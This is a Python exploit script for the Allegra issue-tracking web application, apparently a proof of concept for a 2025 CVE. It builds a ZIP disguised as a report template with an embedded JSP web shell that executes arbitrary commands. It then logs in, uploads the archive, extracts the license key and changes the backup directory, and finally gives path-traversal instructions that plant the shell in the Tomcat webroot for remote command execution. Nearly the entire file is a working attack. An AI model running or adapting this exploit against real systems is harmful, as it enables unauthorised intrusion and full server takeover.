import os
import zipfile
import shutil
import requests
import sys
import string
import random
import time
import string
# Content for info.properties
import argparse
parser = argparse.ArgumentParser(description="Enter the IP ,email and creds")
parser.add_argument("--username", type=str, help="Target Email")
parser.add_argument("--password", type=str, help="Target Password")
parser.add_argument("--host", type=str, help="Target Host")
parser.add_argument("--port", type=str, help="Target Password")
parser.add_argument("--context", type=str, default="demo", help="Target Context")
args = parser.parse_args()
info_properties_content = '''_clusternode=1
_id_table=215
_taccount=2
_tacl=1
_taction=5
_tactivebranch=0
_tactualestimatedbudget=0
_tapplicationcontext=0
_tattachment=1
_tattachmentversion=0
_tattribute=0
_tattributeclass=0
_tattributeoption=0
_tattributetype=0
_tattributevalue=0
_tbaseline=0
_tbasket=9
_tbrblhierarchy=0
_tbudget=0
_tcalendar=1
_tcalendarexception=0
_tcalendarworkhour=0
_tcardfield=4
_tcardfieldoption=0
_tcardgroupingfield=0
_tcardgroupoption=0
_tcardpanel=1
_tcardrow=0
_tcategory=37
_tchildissuetype=9
_tchildprojecttype=12
_tclass=0
_tclob=14
_tcommentlike=0
_tcomputedvalues=0
_tconfigoptionsrole=0
_tcost=0
_tcostcenter=1
_tcountry=249
_tdashboardfield=7
_tdashboardpanel=2
_tdashboardparameter=5
_tdashboardscreen=2
_tdashboardtab=2
_tdepartment=3
_tdisablefield=0
_tdocstate=4
_tdomain=0
_tefforttype=0
_teffortunit=0
_temailprocessed=0
_tentitychanges=0
_tentityfile=164
_tentitytoentityfile=123
_tescalationentry=0
_tescalationstate=0
_tevent=0
_texporttemplate=28
_tfield=66
_tfieldchange=1
_tfieldconfig=70
_tfile=0
_tfiltercategory=0
_tgeneralnotification=1
_tgeneralparam=4
_tgeneralsettings=8
_tglobalcssstyle=0
_tgridfield=30
_tgridgroupingsorting=6
_tgridlayout=6
_tgroupmember=2
_thistorytransaction=1
_thtmltemplate=3
_thtmltemplateconfig=3
_thtmltemplatedef=6
_tinitstate=0
_tissueattributevalue=0
_titemaccesshistory=0
_titememailattachment=0
_titememaildescriptor=0
_titememailrecipient=0
_titemlike=0
_titemresource=0
_titemtimer=0
_titemtransition=0
_titemtypeversioning=2
_tlastexecutedquery=2
_tlasttextsearch=0
_tlastvisiteditem=0
_tlinktype=13
_tlist=11
_tlocalizedresources=35824
_tloggedinusers=1
_tlogginglevel=0
_tmailtemplate=18
_tmailtemplateconfig=18
_tmailtemplatedef=96
_tmailtextblock=0
_tmenuitem=0
_tmenuitemquery=44
_tmotd=9
_tmsprojecttask=0
_tnavigatorcolumn=6
_tnavigatorgroupingsorting=1
_tnavigatorlayout=1
_tnavlayoutassignment=0
_tnotify=0
_tnotifyfield=28
_tnotifysettings=1
_tnotifytrigger=2
_toption=52
_toptionsettings=11
_torgprojectsla=0
_toutlinecode=0
_toutlinetemplate=0
_toutlinetemplatedef=0
_tperson=8
_tpersonbasket=0
_tpersonfield=0
_tpersonfieldvalue=0
_tpersonindomain=0
_tpersonprops=18
_tperspective=8
_tplinktype=20
_tplisttype=74
_tppriority=0
_tpriority=3
_tprivatereportrepository=0
_tprojcat=0
_tproject=2
_tprojectaccount=0
_tprojectbaseline=0
_tprojectbranch=0
_tprojectfield=0
_tprojectfieldvalue=0
_tprojectprops=0
_tprojectreportrepository=0
_tprojectresource=0
_tprojecttype=15
_tprojecttypecategory=7
_tprojecttypetocategory=28
_tprole=59
_tpseverity=0
_tpstate=211
_tpublicreportrepository=0
_tqueryrepository=13
_trecurrencepattern=0
_trecurrenceperiodprop=0
_trecurrenceschema=0
_trelease=0
_tremindrecipient=0
_treportcategory=3
_treportlayout=0
_treportparameter=0
_treportpersonsettings=0
_treportsubscribe=0
_trepository=0
_tresource=4
_trevision=0
_trevisionworkitems=0
_trole=14
_trolefield=7
_trolelisttype=3
_tscheduler=0
_tscreen=31
_tscreenconfig=196
_tscreenfield=256
_tscreenpanel=40
_tscreentab=38
_tscripts=30
_tseverity=3
_tshortcut=0
_tsite=1
_tsla=0
_tstate=32
_tstatechange=0
_tsummarymail=0
_tsystemstate=9
_ttemplateperson=0
_ttextboxsettings=26
_ttexttemplate=0
_ttexttplcategory=0
_ttrail=0
_tundodetails=0
_tundoitemoperation=0
_tuserfeature=0
_tuserlevel=5
_tuserlevelsetting=155
_tversioncontrol=0
_tversioncontrolbranch=0
_tversioncontrolcommit=0
_tversioncontrolparameter=0
_tversioncontrolrepo=0
_tversioncontrolserver=0
_tversionctrlcomtobranch=0
_tversionctrlcomtoitem=0
_tversionedfield=2
_tversionhierarchy=0
_tviewparam=0
_twfactivitycontextparams=0
_tworkflow=0
_tworkflowactivity=0
_tworkflowcategory=0
_tworkflowcomment=0
_tworkflowconnect=0
_tworkflowdef=0
_tworkflowguard=0
_tworkflowrole=0
_tworkflowstation=0
_tworkflowtransition=0
_tworkitem=1
_tworkitemlink=0
_tworkitemlock=0
allData=38741
databaseType=Postgres
driver=org.postgresql.Driver
start=Tue Sep 23 18:50:55 UTC 2025
table_BLOB=170
table_TMSPROJECTEXCHANGE=0
timeSpend=660
url=jdbc:postgresql://db/allegra-demo
usePassword=true
user=allegra
versionDB=816
versionTrack=8.1.6.22
'''
# Content for poc.jsp
poc_jsp_content = '''<%@ page import="java.util.*,java.io.*"%>
<%
%>
Commands with JSP
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "
");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
'''
# Content for description.xml
description_xml_content = '''
SimpleReport
Standard report overview, with only a few columns.
Concise report, no history
Report overview, no history, landscape A4
Standard-Bericht mit einigen wenigen Spalten.
Schlanker Bericht ohne Verlauf
Übersichtsbericht ohne Verlauf, A4-Querformat
icon.gif
A4 landscape
preview.png
Jasper Report
pdf
hello.text
'''
# Empty files to create in current directory (except info.properties and description.xml)
empty_files = [
"blob.dat",
"data.sql",
"dataUpdate.sql",
"Postgres_schema.sql",
"Postgres_schema_constraints.sql",
]
# Create empty files in current directory
for fname in empty_files:
open(fname, 'a').close()
# Write info.properties
with open("info.properties", 'w', encoding='utf-8') as f:
f.write(info_properties_content)
# Write description.xml
with open("description.xml", 'w', encoding='utf-8') as f:
f.write(description_xml_content)
# Create Attachments/poc directory
attachments_dir = "Attachments"
poc_dir = os.path.join(attachments_dir, "poc")
os.makedirs(poc_dir, exist_ok=True)
# Write poc.jsp inside Attachments/poc
poc_path = os.path.join(poc_dir, "poc.jsp")
with open(poc_path, 'w', encoding='utf-8') as f:
f.write(poc_jsp_content)
# Create inner.zip with all files and folders
with zipfile.ZipFile("inner.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as zipf:
# Add empty files in root
for fname in empty_files:
zipf.write(fname)
# Add info.properties and description.xml to inner.zip
zipf.write("info.properties")
zipf.write("description.xml")
# Add Attachments directory and contents recursively
for root, dirs, files in os.walk(attachments_dir):
for file in files:
full_path = os.path.join(root, file)
arcname = os.path.relpath(full_path, start=".")
zipf.write(full_path, arcname)
# Create outer.zip with inner.zip and description.xml
with zipfile.ZipFile("outer.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as outer_zip:
outer_zip.write("inner.zip")
outer_zip.write("description.xml")
# Remove all except poc.py and outer.zip
keep_files = {"poc.py", "outer.zip","cve-2025-xxxx.py","cve-2025-6216.py.txt"}
for entry in os.listdir("."):
if entry in keep_files:
continue
if os.path.isfile(entry):
os.remove(entry)
elif os.path.isdir(entry):
shutil.rmtree(entry)
def randomstring(length=12):
"""Generate a random alphanumeric string of given length."""
chars = string.ascii_letters + string.digits
return ''.join(random.choice(chars) for _ in range(length))
def login(username,password):
url = "http://"+str(args.host)+":"+str(args.port)+"/"+str(args.context)+"/logon!login.action"
data = {'j_password': password,'j_username': username}
session = requests.Session()
r = session.post(url, data=data)
try:
resp_json = r.json()
except ValueError:
print("Invalid JSON response")
sys.exit(0)
if resp_json.get("success") is True:
return session
else:
print("login failed")
sys.exit(0)
def upload_malicious_report_zip(session):
"""
Uploads test.zip using an existing requests.Session object.
The session should already be configured (cookies, headers, auth, etc.).
"""
label=randomstring()
url = "http://"+str(args.host)+":"+str(args.port)+"/"+str(args.context)+"/reportConfig!save.action"
# normal form-data fields
data = {
"add": "true",
"node": "report_2_2_198",
"label": label
}
# file upload field
with open("outer.zip", "rb") as f:
files = {
"reportFile": ("outer.zip", f, "application/x-zip-compressed")
}
response = session.post(url, data=data, files=files)
data_json=response.json()
if data_json.get("id"):
return data_json.get("id")
else:
print("Upload Failed")
print(response.text)
sys.exit(0)
def get_license(sessobj):
url = "http://"+str(args.host)+":"+str(args.port)+"/"+str(args.context)+"/editAdminSiteConfig!load.action"
r = sessobj.get(url)
try:
resp_json = r.json()
except ValueError:
print("Invalid JSON response")
sys.exit(0)
if resp_json.get("data"):
license_ext = resp_json["data"]["license"]["licenseExtension"]
return license_ext
else:
print("License Extraction failed")
sys.exit(0)
def change_dbbackup_directory_server_config(sessobj,license_key,templateid):
templateid_str = str(templateid).zfill(5)
serverurl="http://"+str(args.host)+":"+str(args.port)
backupdir = "/home/allegra/reportTemplates/exportTemplate" + str(templateid_str)
url = "http://"+str(args.host)+":"+str(args.port)+"/"+str(args.context)+"/saveAdminSiteConfig!save.action"
data = {'license.licenseExtension': str(license_key),'otherSiteConfig.backupDir': str(backupdir),'fullTextSearch.indexPath': '/home/allegra/index','otherSiteConfig.serverURL': str(serverurl),'outgoingEmail.securityConnection': '0','appActionName': 'serverConfig'}
r=sessobj.post(url,data=data)
try:
resp_json = r.json()
except ValueError:
print("Invalid JSON response")
sys.exit(0)
if resp_json.get("success") is True:
return True
else:
print("Backup Location change failed")
sys.exit(0)
session_obj=login(args,username,args.password)
template_id=upload_malicious_report_zip(session_obj)
license_key=get_license(session_obj)
if change_dbbackup_directory_server_config(session_obj,license_key,template_id):
print("Backup Location changed successfully")
print("Setup a Remote Postgres DB Server")
print("Change the Postgres DB config and start the Restore Process")
print("Keep in mind to tick the \"Restore Attachments\" option")
print("Put the Attachment Restoreation Directory as ../../../../../../../../../../../../../../../../../../../../../usr/local/tomcat/webapps/demo/js/")
print("Your web shell will be available at http://"+str(args.host)+":"+str(args.port)+"/"+str(args.context)+"/js/trackdata/attachments/poc/poc.jsp?cmd=id")
os.remove("outer.zip")
else:
print("Backup Location change failed")
sys.exit(0)